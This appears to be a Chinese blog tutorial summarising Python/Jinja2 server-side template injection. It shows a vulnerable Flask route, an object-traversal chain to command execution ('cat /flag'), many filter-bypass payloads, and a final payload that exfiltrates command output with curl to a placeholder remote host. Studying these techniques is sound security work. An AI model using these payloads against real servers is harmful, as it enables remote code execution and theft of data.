python SSTI小结

发布于 2021-06-13  722 次阅读


0x00 产生原因

什么是模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

什么是SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。因此才有了现在的模板注入漏洞。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

0x01 示例代码

首先新建一个flask项目,定义根路径的路由如下:

@app.route('/')
def hello_world():
    code = request.args.get('name')
    return render_template_string(code)

接收get请求的name参数后,没有对其进行任何过滤限制就直接将其渲染到HTML页面上,就存在ssti漏洞。

我们尝试传入参数 ?name={{3*3}},得到返回的内容为 9{{}} 中的内容在被执行了之后返回渲染到了页面上。

尝试使用 __class__ 来获取调用的参数的类型,传入 ?name={{''.__class__}} ,得到返回结果为 <class 'str'> ,得到了 '' 的类型str

这就是ssti在flask的Jinja2引擎中的最基础的应用了。

0x02 python中一些常用的魔法方法和函数

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
request              可以用于获取字符串来绕过
request.args.x1      获取get传参
request.values.x1    获取所有参数
request.cookies      获取cookies参数
request.headers      获取请求头参数
request.form.x1      post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post传参 (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)
config               当前application的所有配置。

0x03 魔术方法基础利用示例

获取一个类:

>>> ''.__class__
<class 'str'>

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。获取类的基类:

>>> ''.__class__.__base__
<class 'object'>

同样我们也可以使用 __mro__ 来获取基类,返回一个元组,可以找到他自己的类以及基类。

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

获取了基类之后,我们可以利用 __subclasses__() 来获取基类的子类,返回结果如下,我们可以在众多的返回结果中找到我们想要的类进而进行下一步的利用。

>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>]

找到类 <class 'os._wrap_close'> 的索引138,拿到 <class 'os._wrap_close'> 类。

>>> ''.__class__.__base__.__subclasses__()[138]
<class 'os._wrap_close'>

那么 <class 'os._wrap_close'> 是什么类呢,可以看如下代码,os.popen('ipconfig') 会打开一个管道,返回结果是一个连接管道的文件对象,该文件对象的操作方法同open(),可以从该文件对象中读取返回结果。如果执行成功,不会返回状态码,如果执行失败,则会将错误信息输出到stdout,并返回一个空字符串。也就是说我们可以利用 <class 'os._wrap_close'> 来执行任意命令。

>>> import os
>>> f = os.popen('ipconfig')
>>> f.__class__
<class 'os._wrap_close'>

接下来我们便可以利用.__init__.__globals__来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。如下就利用 <class 'os._wrap_close'> 完成了一次命令执行。

>>> ''.__class__.__base__.__subclasses__()[138].__init__.__globals__['popen']('echo 1').read()
'1\n'

或者也可以利用flask的config来更简便的完成命令的执行,Flask的配置对象(config)是一个字典的子类(subclass),所以你可以把配置用键值对的方式存储进去。这是一个通用的处理接口,Flask内置的配置,扩展提供的配置,你自己的配置,都集中在一处。通过 config 可以轻松获取到 os 类。

{{ config.__class__.__init__.__globals__['os'] }}
# <module 'os' from 'D:\\Python\\python3\\lib\\os.py'>

0x04 一些对于过滤的绕过

过滤了 ''

如果单引号被过滤了,那么在获取命令的时候就可以利用 request.args.a 来进行绕过,request.args 是flask中用来获取get请求参数的函数,后面跟上的值就是我们定义的参数名。例如对于 config.__class__.__init__.__globals__['os'].popen('cat /flag').read() 来说,就可以利用 request.args 来进行绕过。

如果注入点在get请求参数处,就可以写为:config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()&a=os&b=cat /flag ,也可以达到相同的效果。

request.value 也有相同效果。

过滤了 []

可以利用 __getitem__() 来替代。比如a['b'],就是a.__getitem__('b')

那么payload就可以写为:config.__class__.__init__.__globals__.__getitem__('os').popen('cat /flag').read()

过滤了 _

使用 attr 获取变量。

?name={{ config|attr(request.args.a) }}&a=__class__

Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up.

也就是说 config|attr(request.args.a) &a=__class__ 就等效于 config.__class__

使用中括号和十六进制绕过

除了标准的python语法使用点 . 外,还可以使用中括号 [] 来访问变量的属性。
{{ config["\x5f\x5fclass\x5f\x5f"] }}

过滤了 {{ }}

使用 {% %}绕过

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。

使用 print 来进行回显: {% print config.__class__ %}

也可以使用set来声明变量,然后使用print进行回显。
{% set a=config.__class__ %}{% print a %}

过滤了 class 或者一些关键字

使用字符串拼接进行绕过

{{ config["__cla""ss__"] }} 就等同于 {{ config.__class__ }}

字符串反转进行绕过

config["__ssalc__"][::-1] 就等同于 {{ config.__class__ }}

|join 进行绕过

比如 {{config|attr('_''_''c''l''a''s''s''_''_'|join)}} 就等价于 config.__class__

或者 {{config|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_ 也等价于 config.__class__

使用ASCII码进行绕过

{{ "{0:c}".format(97) }} 可以得到ASCII码97对应的字符 a

{{ config|attr("{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)) }} 就等同于 config.__class__

利用chr函数绕过

首先我们要先找到 chr 函数,可以通过内建函数找到他。

Python解释器在启动的时候会首先加载内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身(注意区分函数名称和函数对象的区别)。这些名称空间由builtins模块中的名字构成。

{% set chr = config.__class__.__init__.__globals__['__builtins__'].chr %} 就拿到了 chr 函数。

以下代码就等同于 config.__class__

{% set chr = config.__class__.__init__.__globals__['__builtins__'].chr %}
{{config[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
使用 ~ 进行拼接

jinja2 中字符串可以使用 ~ 进行拼接。

{%set a='__cla' %}
{%set b='ss__'%}
{{config[a~b]}}

过滤了 request

当我们想使用 request.args 来进行绕过却发现 request 被过滤时,可以使用 ()|select|string

{{ (()|select|string) }} 可以得到 <generator object select_or_reject at 0x00000212F8EF5EB0> ,然后使用 |list 将其转化为list,可以使用 [] 来获取其中的元素,也可以使用 pop 来获取其中的字符,接着使用 |join 拼接就可以构造。

比如以下代码就等同于 config.__class__

{% set line = (()|select|string|list)[24] %}
{% set c = (()|select|string|list)[15] %}
{% set l = (()|select|string|list)[20] %}
{% set a = (()|select|string|list)[6] %}
{% set s = (()|select|string|list)[18] %}
{% set cla = (line,line,c,l,a,s,s,line,line)|join() %}
{% print config|attr(cla) %}

过滤了 join

过滤了 join 可以使用 format 进行绕过。
{{config|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ 等同于 config.__class__

过滤了数字

使用 |count|length可以获取长度,通过控制字符的长度就可以得到不同的数据,然后将其拼接就可以构造任意数字了。

例如我们在之前想要获取 _ 时可以通过 {% set line = (()|select|string|list)[24] %} ,但是数字被过滤了,不能输入24,就可以使用count或者length来绕过。其中a的值为2,b的值为4,二者拼接起来就是字符串24,然后转int,就可以进行索引了。

{% set a = dict(aa=a)|join|count %}
{% set b = dict(aaaa=a)|join|count %}
{% print (()|select|string|list).pop((a~b)|int)%}

过滤了 print

在我们想要使用 print 来获取回显,但是他又被过滤了的情况下,可以通过 curl 来将结果发送到远程服务器上。

使用 eval 函数来执行 '__import__("os").popen("curl http://ip:端口号?p=`命令`").read()'

如: {{ config.__class__.__init__.__globals__['__builtins__'].eval('__import__("os").popen("curl http://ip:端口号?p=`命令`").read()') }}

参考资料

SSTI入门详解
SSTI模板注入绕过(进阶篇)
SSTI模板注入总结
1. SSTI(模板注入)漏洞(入门篇)
SSTI Flask 技巧进阶
SSTI/沙盒逃逸详细总结